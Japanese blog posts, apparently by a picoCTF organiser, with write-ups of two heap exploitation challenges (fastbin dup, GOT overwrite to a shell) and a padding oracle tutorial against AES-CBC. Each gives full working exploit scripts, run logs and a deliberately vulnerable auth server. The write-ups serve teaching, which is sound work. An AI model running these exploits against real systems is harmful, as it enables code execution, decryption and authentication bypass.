ソースコードは公開しないと思ってたが、さっき本番サイトを見たら公開されていた。この問題ではcontactという構造体を自由に作成/削除でき、構造体と一緒にnameとbioをheap上で管理できる。古いデータがヒープ上に残ったままクリアされないため、double freeのバグを持っている。よって、重複したfastbinを持つfreed chunkのリンクリストを作ることができれば、狙ったメモリ上に新たなbioを確保して上書きできる。bioの入力サイズチェックが255バイト以下なので、0x70のサイズのチャンクを使って__malloc_hookを上書きできてしまい、あまり捻りがないなーと思ったがpicoCTF上はこのままにした(これはこれで有用なテクニックでもあるので)。ここではもう少しサイズチェックがキツイ場合(0x60以下など)の場合でも通用する方法を紹介する。
fastbinのunlinkについて考えてみると、fastbinは他の種類のbinに比べてunlink時のチェックが軽い。freeされるchunkはサイズごとにリンクリストで管理されているが、fastbinの場合、chunk->fd->size があっているかどうかのチェックさえ通過できれば良い。さらに、このときの比較は、64bitマシンであっても4 bytesでの比較となる。つまり、0x20のサイズ比較は、 0x0000000000000020 で行われるわけではなく、4バイト分の 0x00000020 で行われる。今回はこの特性を利用してみる。GOTを見てみるといくつかはlibcのアドレスを指しているが、アドレス解決の仕組みの特性上、いくつかはpltを指しているものがある。さらにpltのアドレスは0x40XXXXである。つまり、0x40のチャンクサイズを使えばfastbin dupでGOT Overwriteができる。
当たり前だが__stack_chk_fail@gotやexit@gotは使われていないためpltを指している。つまり0x00000040が生きている。さらに__stack_chk_fail@gotはだいたいGOTの前のほうに存在するため、後方に書き換えられる関数が意外とある(個人的には大きめのサイズが確保できないときでも意外と使える手法だと思っている)。今回はここに着弾しstrdupをsystem関数に書き換えてみる。途中に存在する_IO_putc@gotを変なものに書き換えてしまうとRCEに到達するよりも前にSEGVが発生するため注意。
あとはdouble freeができるようアドレスを調整すればExploitが完成する。
#!/usr/bin/python from pwn import * context.arch = 'amd64' p, u = pack, unpack host, port = "localhost", 31337 def create_entry(name): conn.sendline("create " + name) conn.recvuntil("> ") def add_bio(name, num, bio): conn.sendline("bio " + name) conn.sendlineafter("\n", str(num) + bio) conn.recvuntil("> ") def del_entry(name): conn.sendline("delete " + name) conn.recvuntil("> ") def leak_addr(target): conn.sendline("display") conn.recvuntil(target + " - ") leaked = u(conn.recv(8)) conn.recvuntil("> ") return leaked def dbg(val): print "\t-> %s: 0x%x" % (val, eval(val)) e = ELF("./contacts") lib = ELF("./libc.so.6") libc_offset = 0x3c4b78 got_insert_into = e.got['__stack_chk_fail'] - 0x6 # The address -0x8 of the target size 0x00000040 if(len(sys.argv) == 2 and sys.argv[1] == 'r'): conn = remote(host, port) else: env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")} conn = process("./contacts", env=env) conn.recvuntil("> ") log.success("prepare entries") create_entry("reserved1") create_entry("reserved2") create_entry("adjust_addr") create_entry("a") add_bio("a", 255, "AAAAAAAA") create_entry("b") add_bio("b", 0x37, "BBBBBBBB") del_entry("a") create_entry("a") log.success("leak libc information") leaked_libc = leak_addr('a') & 0xffffffffffff libc_base = leaked_libc - libc_offset libc_system = libc_base + lib.symbols['system'] libc_IO_putc = libc_base + lib.symbols['_IO_putc'] dbg("leaked_libc") dbg("libc_base") dbg("libc_system") dbg("libc_IO_putc") log.success("leak heap information") create_entry("c") leaked_heap = leak_addr('a') mask = 0xfffffff if leaked_heap & 0xfffffff < 0x3000000 else 0xffffff leaked_heap &= mask heap_base = leaked_heap - 0x1140 free_addr = heap_base + 0x1180 dbg("leaked_heap") dbg("heap_base") log.info("scheduling to free: 0x%x" % free_addr) log.success("append data into scheduled area for fastbin dup") create_entry("D"*0x37) log.success("prepare for second arbitrary free") create_entry("A") create_entry("B") create_entry("C") create_entry("D") add_bio("C", 255, "CCCCCCCC") add_bio("D", 0x37, "DDDDDDDD") del_entry("C") create_entry("C") create_entry("E") log.success("put scheduled free area onto heap") add_bio("a", 20, " " + p(next(e.search('display\x00'))) + p(free_addr & mask)) # "bio display" to free the area add_bio("C", 20, " " + p(next(e.search('create\x00'))) + p(free_addr & mask)) # "bio create" to free the area log.success("create duplicated fastbins list") add_bio("display", -1, "") del_entry("b") add_bio("create", -1, "") log.info("now fastbins list (size: 0x40) is:\n0x%x -> 0x%x -> 0x%x" % (free_addr-0x10, heap_base+0x1240, free_addr-0x10)) log.success("fastbin dup into GOT") add_bio("reserved1", 0x37, " " + p(got_insert_into)) create_entry("A"*0x37) create_entry("B"*0x37) payload = "A"*6 payload += p(libc_IO_putc) # not to break libc_IO_putc payload += p(libc_system) add_bio("reserved2", 0x37, " " + payload) log.success("invoke system(\"sh\")") conn.sendline("create sh") conn.interactive()
これを走らせることでFlagが手に入る。
$ python contacts.py r [*] '/home/user/contacts' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) RPATH: './' FORTIFY: Enabled [*] '/home/user/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to localhost on port 31337: Done [+] prepare entries [+] leak libc information -> leaked_libc: 0x7ff6c8845b78 -> libc_base: 0x7ff6c8481000 -> libc_system: 0x7ff6c84c6390 -> libc_IO_putc: 0x7ff6c84f7450 [+] leak heap information -> leaked_heap: 0x1318140 -> heap_base: 0x1317000 [*] scheduling to free: 0x1318180 [+] append data into scheduled area for fastbin dup [+] prepare for second arbitrary free [+] put scheduled free area onto heap [+] create duplicated fastbins list [*] now fastbins list (size: 0x40) is: 0x1318170 -> 0x1318240 -> 0x1318170 [+] fastbin dup into GOT [+] invoke system("sh") [*] Switching to interactive mode $ ls contacts flag.txt libc.so.6 xinet_startup.sh $
Cake
ちょっとcontactsとネタがかぶってるし「しまった」と思ったけど、これも紹介する。たぶん1,000点のマスターチャレンジより難しいんじゃないかと思う。これもfastbinのdouble freeからExploitに繋げる問題だが、今回確保できるチャンクは0x20のみであるため、難易度はこちらのほうが高い。ここで使っている構造体は以下のとおり。struct shop { uint64_t sales; uint64_t customers; cake *cakes[16]; }; struct cake { uint64_t price; char name[8]; };
結論から言うと、cakes[1]のアドレス部分に、cakes[0]のアドレスを指す新たなcakeをmallocすることができれば、nameを入力したときにpriceに該当するアドレス(つまりcakeオブジェクトのポインタ)を好きな値に上書きでき、その後のpriceの入力で任意メモリをOverwriteできる。fastbindup into bssを駆使しながらlibcとheapのアドレスをリークし、最終的にshop.cakes[1]にcakeを確保することを目指す。
shop構造体の中のcustomersは自由に操作して0x20を作成できるため、ここをfastbin dupの拠点にする。fastbin dupを行いながら、次のcakeを作ってもSEGVが起こらないように、fake chunkが途切れないよう登録していく。その過程でlibc leakとGOT overwriteによるone gadgetの登録を行う。
最後のcakeのメモリ確保直後のメモリマップはこんな感じ。shop structureの0x6030f8にcakeが確保され、その時に確保されているcakeのアドレスは0x6030f0である。この状態では、cake->name, cake->price(というかcakes[1]構造体のアドレス)とがoverwrapしている。
gdb-peda$ x/16gx 0x6030e0 0x6030e0 <shop>: 0x0000000000605020 0x0000000000000020 0x6030f0 <shop+16>: 0x0000000000605040 0x00000000006030f0 ←コレがcakeのallocation先。確保したcakeのnameでもありcake[1]のアドレスでもある。 0x603100 <shop+32>: 0x0000000000605020 0x0000000000605040 0x603110 <shop+48>: 0x0000000000605020 0x00000000006030f0
ここで、nameの入力でまずcakes[1]のポインタ(つまり自分自身の構造体のポインタ)の向き先をGOTに変え、priceの入力で任意のアドレスに変更する。
ここに掲載している例ではprintfのGOTをone gadgetに書き換えている。
あとはprintfが呼ばれるところまでinstructionを進めれば新規にケーキを作ろうとしたときに自動的にshellが起動する。
- shop構造体が管理するメモリのアドレス
- mallocで返ってくるcake構造体のアドレス
の2つを分けて考えてアドレス調整をしないとややこしいかもしれない。
#!/usr/bin/python from pwn import * context.arch = 'amd64' p, u = pack, unpack host, port = "localhost", 31337 def make(name, price, shell=False): conn.sendline("M") conn.sendlineafter("> ", name) conn.sendlineafter("> ", str(price)) if shell: conn.interactive() return conn.recvuntil("> ") def serve(index): conn.sendline("S") conn.sendlineafter("> ", str(index)) conn.recvuntil("> ") def inspect(index): conn.sendline("I") conn.sendlineafter("> ", str(index)) name = conn.recvuntil(" is", drop=True) conn.recvuntil("$") price = int(conn.recvuntil("\n", drop=True)) conn.recvuntil("> ") return name, price def create_0x20(): log.success("create chunk size 0x20 for fastbin dup into bss") while True: conn.sendline("W") conn.recvuntil("and have ") customers = int(conn.recvuntil(" ", drop=True)) conn.recvuntil("> ") if customers >= 0x20: log.info("Now customers: 0x%x" % customers) break def dbg(val): print "\t-> %s: 0x%x" % (val, eval(val)) e = ELF("./cake") libc_offset = 0x71290 shop_addr = 0x6030e0 # The address used to fastbin dup with 0x20 free_got = e.got['free'] printf_got = e.got['printf'] one_gadget_rax0 = 0x45216 if(len(sys.argv) == 2 and sys.argv[1] == 'r'): conn = remote(host, port) else: env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")} conn = process("./cake", env=env) conn.recvuntil("> ") log.success("double free") make("A", 0) make("B", 0) serve(0) serve(1) serve(0) log.success("leak heap address") n, leaked_heap = inspect(0) dbg("leaked_heap") make("C", shop_addr) # set the heap chunk make("D", 0) make("C", 0) create_0x20() make(p(free_got), leaked_heap) # fastbin dup into bss log.success("leak libc address") leaked_libc, pr = inspect(1) leaked_libc = u(leaked_libc.ljust(8, '\x00')) libc_base = leaked_libc - libc_offset one_gadget = libc_base + one_gadget_rax0 dbg("leaked_libc") dbg("libc_base") dbg("one_gadget") log.success("double free") serve(2) serve(3) serve(2) make("E", shop_addr) # set the heap chunk make("F", shop_addr) # for the last allocation make("E", 0) create_0x20() make(p(0), 0) # fastbin dup into bss, the second next allocation (shop.cakes[1]) will be: cake->name == cake structure addr make("deadbeef", 0) # adjustment (cakes[0]) log.success("name (== cake structure) -> printf.got, price -> one gadget") make(p(printf_got), one_gadget, shell=True) # overwrite got
実行するとShellが起動。
$ python cake.py r [*] '/home/user/cake' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) RPATH: './' [+] Opening connection to localhost on port 31337: Done [+] double free [+] leak heap address -> leaked_heap: 0x1b84030 [+] create chunk size 0x20 for fastbin dup into bss [*] Now customers: 0x20 [+] leak libc address -> leaked_libc: 0x7f9c8393f290 -> libc_base: 0x7f9c838ce000 -> one_gadget: 0x7f9c83913216 [+] double free [+] create chunk size 0x20 for fastbin dup into bss [*] Now customers: 0x20 [+] name (== cake structure) -> printf.got, price -> one gadget [*] Switching to interactive mode $ ls cake flag.txt libc.so.6 xinet_startup.sh $
おわりに
今までの経験の比にならない規模のコンテストを主催する経験ができた。質問掲示板にはひっきりなしに質問が届くし、見つけた問題点を見つけては修正方法を考えて適用して、というサイクルもなかなか大変ではあったけど、チームメンバーと相談したりしながら運営を進めていくことはとても楽しく、CMUの試験や課題に追われながらも充実した期間を過ごすことができた。あと、自分の会社のグループの技術者SlackにCoding Challenge部屋があるんだけど、そこが2週間限定でpicoCTFチャレンジになってて、多くの人が真剣に取り組んでくれていたことがとても嬉しかった。
もし今年picoCTFに参加して、問題を解いて、少しでも学びがあったと感じてくれた人がいたならば、自分にとってこれほど嬉しいことはない。関わってきて良かったなと思える。
これから上がってくるであろうWrite upにも期待しつつ、またこれ以外にも関わっている問題も多くあるため、しばらくはインターネットを巡回しながら回想に浸ろうと思う。
Padding Oracle AttackによるCBC modeの暗号文解読と改ざん
現在、ブロック暗号ではAESが広く使われている。ブロック暗号は、平文を固定長のブロックに分割して暗号化する暗号方式で、数種類存在する暗号利用モードを指定して暗号化を行う。この中にはCBCというモードが存在するが、サービスの実装によってはこのCBCモードに対してパディングオラクル攻撃を適用することができる。
パディングオラクル攻撃を用いると、鍵を持っていないにも関わらず暗号文を解読できてしまうとよく言われるが、実は同じ仕組みを用いることで暗号文の改ざんも行うことができる。本エントリでは、PKCS #7パディングを実装しているAES CBCに対して、パディングオラクル攻撃を使った暗号文の解読と、それを応用した暗号文の改ざんをやってみる。
暗号利用モード
暗号における利用モードでは、ECB, CBC, OFB, CFBの4種類が良く知られている。例えば、最も単純なECBモードの暗号では、すべてのブロックに対して鍵による暗号化を行う(図1)。図を見るとわかるが、すべてのブロックは互いに独立しているため、同じ平文ブロックが存在すると対応する暗号ブロックも同じ暗号文となってしまうという欠点がある。つまり、とが同じ値の場合、とも同じ値になってしまう。
対して、CBCモードでは前のブロックと現在のブロックをXORすることにより、ブロックの暗号文が一つ前の暗号ブロックに依存するようになっている(図2)。つまり、ECBモードの欠点である「同じ平文ブロックが同じ暗号文となる」点を解消している。なお、の前の暗号ブロックは存在しないため、としてIV (Initialization Vector)と呼ばれる同サイズのバイト列を使いとXOR演算を行う。IVは秘匿情報とせず暗号文と一緒に送ってしまって問題ない。
PKCS #7 パディング
ブロック暗号では、すべてのブロック長が固定されているため、最後のブロックが固定長に満たない場合にはパディングをして長さを合わせる必要がある。ここでは、RFC2315 にて提案されているPKCS #7パディングを適用する。この方式は、1バイトのパディングが必要な場合は"01", 2バイトのパディングが必要な場合は"0202"というように、必要なパディング数iに応じて chr(i) * i のパディングを施す。なお、パディングが0バイトで良い場合(つまりAESの最後のブロックが16バイトちょうどの場合)は、16バイト分のパディング "10" * 0x10 を行う(表1)。これにより、平文には必ずパディング文字が含まれる仕様となるため、復号時に「本来のデータかパディング文字かわからない」という問題を避けることができる。
padding文字数 | padding |
---|---|
1 | 01 |
2 | 0202 |
3 | 030303 |
: | : |
15 | 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f |
0 (16) | 10101010101010101010101010101010 |
Padding Oracle Attack
本題のPadding Oracle Attackについて話す。Padding Oracle Attackとは、暗号アプリケーションが文字列を復号できるかどうか(復号時のパディング情報が合っているか)の情報を返す場合、攻撃者がこの復号成否情報を用いて平文の特定や暗号文の改ざんができてしまう攻撃である。なお、ここでいう "Oracle" とは某RDBではなく、攻撃者の手がかりとなるような情報を与えてしまうブラックボックスなサービスのことを指す。
ということで、Padding Oracleのある認証アプリケーションを書いてみる。ここでは、クライアントからの暗号文をAES CBCで復号化し、Base64デコードしたユーザIDがadminなら認証が成功するというものにする。もちろんクライアントは暗号/復号鍵を知ることはできないし平文の内容も知らない。知ることができるのはサーバから送られてくるサンプル暗号文である~(はIV)のみという前提を置く。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys from Crypto.Cipher import AES block_size = 16 user_message = 'Authentication service. The ID is: guest'.encode('base64') key = ("0A" * block_size).decode('hex') def padding(s): i = block_size - len(s) % block_size pad = chr(i) * i return s + pad def unpadding(s): return s[0:-ord(s[-1])] def isvalidpadding(s): i = ord(s[-1]) return 0 < i and i <= block_size and s[-1]*i == s[-i:] def encrypt(p): IV = "IV for CBC mode." return IV.encode('hex') + AES.new(key, AES.MODE_CBC, IV).encrypt(padding(p)).encode('hex') def decrypt(c): IV = c[0:block_size*2].decode('hex') return AES.new(key, AES.MODE_CBC, IV).decrypt(c[block_size*2:].decode('hex')) def main(): print "Your user id:", encrypt(user_message) sys.stdout.flush() print "input your code: ", sys.stdout.flush() decoded_input = decrypt(raw_input()) if isvalidpadding(decoded_input): plain = unpadding(decoded_input).decode('base64') user_id = plain.split("Authentication service. The ID is: ")[1] if user_id == "admin": print "You are an authenticated user.\nHere is secret information: Padding Oracle Attack" else: print "You are not admin. Bye." else: print "[-] incorrect pkcs7 padding." if __name__ == "__main__": main()
socatにて簡易サーバを作成。
[user@ubuntu] $ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"python server.py",stderr
別ターミナルから、試しにncコマンドで繋いでみる。
[user@ubuntu] $ nc localhost 1234
user id: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303
input your code: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303
You are not admin. Bye.
[user@ubuntu] $
与えられたサンプル暗号文を入力するとサーバサイドで復号が走るが、adminではないため認証に弾かれている。試しに末尾1バイトを"0x03"から"0x00"変えてみると、
[user@ubuntu] $ nc localhost 1234 user id: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303 input your code: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12300 [-] incorrect pkcs7 padding. [user@ubuntu] $
"incorrect pkcs7 padding."とエラーが返ってくる。つまり、Decrypt後のパディングチェックにてコケていることがエラーメッセージから判別できる。
逆に、最初のブロックを1バイト変えてみるとパディングチェックは成功するはずなので、そのパターンも試してみる。
[user@ubuntu] $ nc localhost 1234 Your user id: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303 input your code: 005620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303 Traceback (most recent call last): File "server.py", line 45, in <module> main() File "server.py", line 35, in main plain = unpadding(decoded_input).decode('base64') File "/usr/lib/python2.7/encodings/base64_codec.py", line 42, in base64_decode output = base64.decodestring(input) File "/usr/lib/python2.7/base64.py", line 321, in decodestring return binascii.a2b_base64(s) binascii.Error: Incorrect padding [user@ubuntu] $
末尾のブロックは綺麗に復号化されているためパディングチェックは通過したようだが、その後の処理でErrorが発生している。メッセージ内容からして、Base64デコード処理でしくっているように見える。
このように、認証成否情報に加えパディングチェック成否の手がかりを確認することができた。以上より、このアプリケーションにはパディングオラクルがあると言える。
このアプリケーションへの攻撃シナリオは、このパディングオラクルを用い、
- Decryption Attackにて暗号文を解読する
- Encryption Attackで解読した暗号文を改ざんしてアプリケーションの認証をバイパスする
の2本を想定する。
Decryption Attack
これはいろんなところで紹介もされているし有名だと思う。まずCBCのDecryptionアルゴリズムを見てみる(Encryption の矢印を逆にしただけ)。この図で言うの最後にはPKCS #7パディング文字列が存在しなければならない。
上図より、このときのを求めるときの式は
と定義できる。というのは復号化関数を通ったあとの値。つまり図3右側の赤い領域を示す。
クライアントからサーバへは暗号文であるを送ることになるが、このときにの値を変えてみながら、正しいパディングとなる入力パターンを確かめることはできないだろうか。
ここで、正しいパディングとなるようを改ざんした値を考える。を用いるとももちろん変わるため、この時の式は、
と表せる。これを①の式に代入すると、
となる。、つまり復号直後の値(赤い領域の値)がわからなくてもを求めることができそうだ。
次に、肝心なの求め方を考える。
まず、の最終バイトを1バイトずつ変えながらPadding Oracleに対して送信する。どこかのタイミングで、の最終バイトが"01"となりパディング成功を示すメッセージを得られるはずだ(おそらく復号後のサーバ処理でのエラーメッセージだろう)。このときの値がの最終バイトである。
図4. Padding Attackによる1バイト目の特定
なお、上図よりの最終バイトの最終バイトはの最終バイトを表すことがわかる。
では次にの最後から2バイト目を求める。このときの最終バイトは"0202"となる必要があるので、先ほど送信した最終バイトも"01"から"02"になるように調整する。具体的にはの最終バイトとでXORしてやれば良い。
図5. Padding Attackによる2バイト目の特定
3byte目も同様に調整。こうしてバイトごとにとを特定していくことができる。
図6. Padding Attackによる3バイト目の特定
これを16バイト目まで繰り返すと、とが判明する。これが求まれば、の式により最後の平文ブロックを復元することができる。がわかれば次はとを使って前のブロックを復元していけば、最終的にまでの文字列を復元することができる(今回はが存在するのでまで計算が可能である)。
実際にスクリプトを書いてみる。
#!/usr/bin/python # -*- coding: utf-8 -*- import socket from tqdm import tqdm host, port = "localhost", 1234 block_size = 16 def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime): s, f = sock(host, port) read_until(f, "input your code: ") attempt_byte = "\x00" * (block_size-m_prime) + chr(c_prev_prime) adjusted_bytes = "" for c in Dec_ci: adjusted_bytes += chr(ord(c) ^ m_prime) send = attempt_byte.encode('hex') + adjusted_bytes.encode('hex') + c_target f.write(send + '\n') res = read_until(f) s.close return not "incorrect pkcs7 padding" in res def main(): s, f = sock(host, port) read_until(f, 'Your user id: ') cipher_text = read_until(f)[:-1] cipher_text = cipher_text.zfill(len(cipher_text) + len(cipher_text) % block_size*2).decode('hex') s.close cipher_block = [cipher_text[i: i+block_size] for i in range(0, len(cipher_text), block_size)] cipher_block.reverse() plain_text = "" for i in tqdm(range(len(cipher_block)-1)): c_target = cipher_block[0].encode('hex') c_prev = cipher_block[1].encode('hex') print "c_prev:", c_prev print "c_target:", c_target cipher_block.pop(0) m_prime = 1 c_prev_prime = 0 m = Dec_ci = "" while True: if isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime): print "0x{:02x}: ".format(c_prev_prime) + "{:02x}".format(m_prime) * m_prime m += chr(c_prev_prime ^ m_prime ^ ord(c_prev.decode('hex')[::-1][m_prime-1])) Dec_ci = chr(c_prev_prime ^ m_prime) + Dec_ci m_prime += 1 c_prev_prime = 0 if m_prime <= block_size: continue break c_prev_prime += 1 if c_prev_prime > 0xff: print "[-] Not Found" break print "[+] Dec(c%d): %s" % (len(cipher_block), Dec_ci.encode('hex').zfill(block_size*2)) print "[+] m%d: %s" % (len(cipher_block), repr(m[::-1])) plain_text = m[::-1] + plain_text print "[+] plain_text:", repr("*" * (len(cipher_text)-len(plain_text)-block_size) + plain_text) + '\n' if __name__ == "__main__": main()
これを走らせると、
[user@ubuntu] $ python dec.py 0%| | 0/4 [00:00<?, ?it/s] c_prev: 38a272388b3a39e88075271bab8214fb c_target: f0d92673408f4a714b62372448a12303 0xfd: 01 0x11: 0202 0x86: 030303 0xa8: 04040404 0x19: 0505050505 0x26: 060606060606 0x75: 07070707070707 0x82: 0808080808080808 0xdc: 090909090909090909 0x0e: 0a0a0a0a0a0a0a0a0a0a 0x70: 0b0b0b0b0b0b0b0b0b0b0b 0xe3: 0c0c0c0c0c0c0c0c0c0c0c0c 0x4f: 0d0d0d0d0d0d0d0d0d0d0d0d0d 0x2a: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e 0xfa: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f 0x4c: 10101010101010101010101010101010 [+] Dec(c4): 5cf52442ef7b04d58a72201cac8513fc [+] m4: 'dWVzdA==\n\x07\x07\x07\x07\x07\x07\x07' [+] plain_text: '************************************************dWVzdA==\n\x07\x07\x07\x07\x07\x07\x07' 25%|██████████████▎ | 1/4 [00:21<01:04, 21.50s/it] (snip) c_prev: 495620666f7220434243206d6f64652e c_target: ec32ab1ded2375754abf6ef5e53aae69 0x5f: 01 0x35: 0202 0x3f: 030303 0x32: 04040404 0x02: 0505050505 0x4a: 060606060606 0x03: 07070707070707 0x2e: 0808080808080808 0x3f: 090909090909090909 0x7c: 0a0a0a0a0a0a0a0a0a0a 0x3e: 0b0b0b0b0b0b0b0b0b0b0b 0x02: 0c0c0c0c0c0c0c0c0c0c0c0c 0x5b: 0d0d0d0d0d0d0d0d0d0d0d0d0d 0x78: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e 0x01: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f 0x08: 10101010101010101010101010101010 [+] Dec(c1): 180e76560e35763626044c07363c375e [+] m1: 'QXV0aGVudGljYXRp' [+] plain_text: 'QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBndWVzdA==\n\x07\x07\x07\x07\x07\x07\x07' 100%|█████████████████████████████████████████████████████████| 4/4 [01:02<00:00, 15.66s/it] [user@ubuntu] $
Base64 + パディングされた平文を取得することができた。
>>> "QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBndWVzdA==".decode('base64') 'Authentication service. The ID is: guest' >>>
ちなみに、ここからIVを計算することも可能である。
先ほどの式をそのまま使うだけだが、であるためだ。
図7. IVの計算
dec.pyの結果から、とがわかっているため、これをXORしてやれば良い。
>>> Dec_c1 = 0x180e76560e35763626044c07363c375e >>> m1 = int('QXV0aGVudGljYXRp'.encode('hex'), 16) >>> IV = format(Dec_c1 ^ m1, 'x').decode('hex') >>> IV 'IV for CBC mode.' >>>
まぁはそもそも今回はサーバ接続時に手に入っているので計算するまでもないが。
では、次にこの手に入れた平文を使い暗号文の改ざんをして認証をバイパスしてみる。
Encryption Attack
手に入れたユーザIDを"admin"に変え、Base64エンコードをし直してpaddingを加えたものを平文とする。
>>> block_size = 16 >>> M = "Authentication service. The ID is: admin".encode('base64') >>> M + chr(block_size - len(M) % block_size) * (block_size - len(M) % block_size) 'QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBhZG1pbg==\n\x07\x07\x07\x07\x07\x07\x07' >>>
文字列長は改ざん前と変わらないため、パディングも同じく'07' * 7 である。説明のため、ここでは改ざんした平文と暗号文ブロックを大文字で, と表す。
解法を先に言ってしまうと、Decryption Attackのときに利用した式をここでも利用する。パディングオラクルを用いることで、とを使ってに対応するを計算する。が計算できれば、によってに対応するを再計算できるというわけだ(図8)。
図8. Encryption Attackによる暗号文の算出
が計算できれば次はを使ってを計算する。これを(もともとのIV)まで繰り返す。任意の値と再計算した~が~に対応しているため、これをアプリケーションに送ればadminとして認証をバイパスできるはずである。
Encryption Attackでは同じくPadding Oracle Attackを使うので、Decryptのコードを少し修正するだけで良い。
#!/usr/bin/python # -*- coding: utf-8 -*- import socket, telnetlib from tqdm import tqdm host, port = "localhost", 1234 block_size = 16 def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): print "[+] interact mode." t = telnetlib.Telnet() t.sock = s t.interact() def isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime): s, f = sock(host, port) read_until(f, "input your code: ") attempt_byte = "\x00" * (block_size-m_prime) + chr(c_prev_prime) adjusted_bytes = "" for c in Dec_ci: adjusted_bytes += chr(ord(c) ^ m_prime) send = attempt_byte.encode('hex') + adjusted_bytes.encode('hex') + c_target f.write(send + '\n') res = read_until(f) s.close return not "incorrect pkcs7 padding" in res def create_cipher(Plain_array, Dec_array): c0 = format(int(Plain_array[0],16) ^ int(Dec_array[3],16),'x').zfill(block_size*2) c1 = format(int(Plain_array[1],16) ^ int(Dec_array[2],16),'x').zfill(block_size*2) c2 = format(int(Plain_array[2],16) ^ int(Dec_array[1],16),'x').zfill(block_size*2) c3 = format(int(Plain_array[3],16) ^ int(Dec_array[0],16),'x').zfill(block_size*2) c4 = "00" * block_size return c0 + c1 + c2 + c3 + c4 def main(): # initial Dec(ci) value. This value will be updated. initial = "00" * block_size M1 = "QXV0aGVudGljYXRp".encode('hex') M2 = "b24gc2VydmljZS4g".encode('hex') M3 = "VGhlIElEIGlzOiBh".encode('hex') M4 = ("ZG1pbg==\n" + "\x07"*7).encode('hex') Plain = [M1, M2, M3, M4] Dec_c = [initial, initial, initial, initial] cipher_text = create_cipher(Plain, Dec_c).decode('hex') cipher_block = [cipher_text[i: i+block_size] for i in range(0, len(cipher_text), block_size)] cipher_block.reverse() print "tampered plain text:", repr("".join(Plain).decode('hex')) + '\n' for i in tqdm(range(len(cipher_block)-1)): c_target = cipher_block[0].encode('hex') c_prev = cipher_block[1].encode('hex') cipher_block.pop(0) m_prime = 1 c_prev_prime = 0 Dec_ci = "" while True: if isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime): print "0x{:02x}: ".format(c_prev_prime) + "{:02x}".format(m_prime) * m_prime Dec_ci = chr(c_prev_prime ^ m_prime) + Dec_ci m_prime += 1 c_prev_prime = 0 if m_prime <= block_size: continue break c_prev_prime += 1 if c_prev_prime > 0xff: print "[-] Not Found" break Dec_c[i] = Dec_ci.encode('hex').zfill(block_size*2) print "[+] new Dec(c%d): %s" % (len(cipher_block), Dec_c[i]) cipher_text = create_cipher(Plain, Dec_c).decode('hex') cipher_block = [cipher_text[j: j+block_size] for j in range(0, len(cipher_text), block_size)] cipher_block.reverse() for _ in range(i+1): cipher_block.pop(0) print "[!] Updated c%d\n" % (len(cipher_block)-1) print "[+] exploit" tampered_cipher = create_cipher(Plain, Dec_c) print "[+] tampered cipher text:", tampered_cipher s, f = sock(host, port) read_until(f, "input your code: ") f.write(tampered_cipher + '\n') shell(s) if __name__ == "__main__": main()
これを実行することで、正しく改ざんした暗号文を送信することができる。
